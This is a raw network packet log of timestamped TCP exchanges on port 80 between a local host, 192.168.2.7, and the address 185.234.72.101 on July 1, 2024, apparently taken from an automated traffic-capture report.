Jul 1, 2024 19:26:06.880286932 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.880315065 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.880321026 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.880353928 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.880384922 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.880390882 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.880443096 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.880449057 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.880477905 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.880521059 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.880556107 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.880594015 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.880629063 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.880662918 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.880666971 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.880696058 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.880732059 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.880765915 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.880799055 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.880831957 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.880839109 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.880867004 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.880903006 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.880913019 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.880938053 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.880970955 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.881005049 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.881011009 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.881038904 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.881072044 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.881082058 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.881107092 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.881140947 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.881170988 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.881170988 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.881176949 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.881215096 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.881248951 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.881258965 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.881282091 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.881316900 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.881351948 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.881385088 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.881414890 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.881418943 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.881447077 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.881453991 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.881488085 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.881532907 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.881540060 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.881592035 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.881627083 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.881650925 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.881659985 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.881696939 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.881699085 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.881731033 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.881764889 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.881798029 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.881803036 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.881831884 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.881865025 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.881870985 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.881899118 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.881932020 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.881964922 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.881999969 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.882034063 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.882065058 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.882065058 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.882069111 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.882102966 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.882138968 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.882168055 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.882170916 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.882205963 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.882496119 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.963881016 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.964040041 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.964193106 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.967525005 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.967580080 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.967617035 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.967617989 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.967665911 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.967669964 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.967704058 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.967734098 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.967737913 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.967787981 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.967828035 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.967860937 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.967895031 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.967900038 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.967930079 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.967964888 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.967983007 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.968043089 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.968053102 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.968079090 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.968111992 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.968115091 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.968147039 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.968199015 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.968234062 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.968240976 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.968269110 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.968298912 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.968302965 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.968336105 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.968375921 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.968410969 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.968542099 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.968575001 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.968611002 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.968640089 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.968640089 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.968696117 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.968729019 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.968764067 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.968795061 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.968795061 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.968861103 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.968894005 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.968926907 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.968928099 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.968964100 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.968967915 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.969032049 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.969065905 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.969074011 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.969176054 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.969192028 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.969228983 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.969263077 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.969296932 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.969321966 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.969331026 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.969367981 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.969381094 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.969532967 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.969567060 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.969599962 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.969605923 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.969633102 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.969674110 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.969686985 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.969721079 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.969755888 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.969794989 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.969851971 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.969885111 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.969887018 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.969919920 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.969934940 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.969953060 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.969989061 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.969990969 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.970021963 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.970029116 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.970062017 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.971621990 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.971679926 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.971714973 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.971749067 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.971752882 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.971785069 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.971787930 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.971828938 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.971839905 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.971868992 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.971873999 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.971910000 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.971940041 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.971942902 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.971978903 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.971985102 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.972022057 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.972028971 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.972116947 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.972167969 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.972168922 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.972206116 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.972239017 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.972273111 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.972286940 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.972306967 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.972323895 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.972357988 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.972392082 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.972410917 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.972424984 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.972425938 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.972460985 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.972491026 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.972491026 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.972543955 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.972594976 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.972630024 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.972642899 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.972665071 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.972701073 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.972733974 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.972740889 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.972773075 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.972805977 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.972840071 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.972873926 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.972879887 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.972908974 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.972938061 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.972944021 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.972981930 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.973016024 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.973051071 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.973083973 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.973083973 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.973165989 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.973198891 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.973232985 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.973233938 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.973265886 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.973305941 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.973320007 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.973339081 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.973356009 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.973390102 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.973423004 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.973453999 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.973453999 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.973479033 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.973515034 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.973539114 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.973551989 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.973587036 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.973603010 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.973623991 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.973659039 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.973664999 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.973694086 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.973727942 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.973759890 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.973764896 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.973802090 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.974131107 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.974181890 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.974216938 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.974221945 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.974251986 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.974304914 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.974337101 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.974339008 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.974375010 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.974407911 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.974421024 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.974431992 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.974446058 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.974477053 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:06.974515915 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:06.974562883 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.057398081 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.057437897 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.057493925 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.057548046 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.057600021 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.057632923 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.057636023 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.057636023 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.057661057 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.057687998 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.057720900 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.057748079 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.057755947 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.057790041 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.057812929 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.057842016 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.057874918 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.057893991 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.057909012 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.057943106 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.057944059 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.058003902 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.058037043 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.058070898 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.058078051 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.058111906 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.058146954 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.058178902 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.058187962 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.058214903 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.058265924 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.058304071 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.058315992 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.058351040 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.058386087 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.058418989 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.058428049 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.058470964 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.058505058 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.058540106 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.058572054 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.058572054 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.058572054 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.058629990 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.058680058 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.058689117 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.058715105 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.058748007 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.058805943 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.058836937 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.058836937 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.058856010 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.058890104 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.058922052 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.058945894 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.058974028 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.059006929 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.059040070 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.059067011 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.059073925 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.059124947 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.059150934 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.059159994 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.059195042 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.059226990 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.059262037 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.059278965 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.059313059 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.059346914 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.059379101 CEST	64480	80	192.168.2.7	185.234.72.101
Jul 1, 2024 19:26:07.059381962 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.059416056 CEST	80	64480	185.234.72.101	192.168.2.7
Jul 1, 2024 19:26:07.059472084 CEST	80	64480	185.234.72.101	192.168.2.7
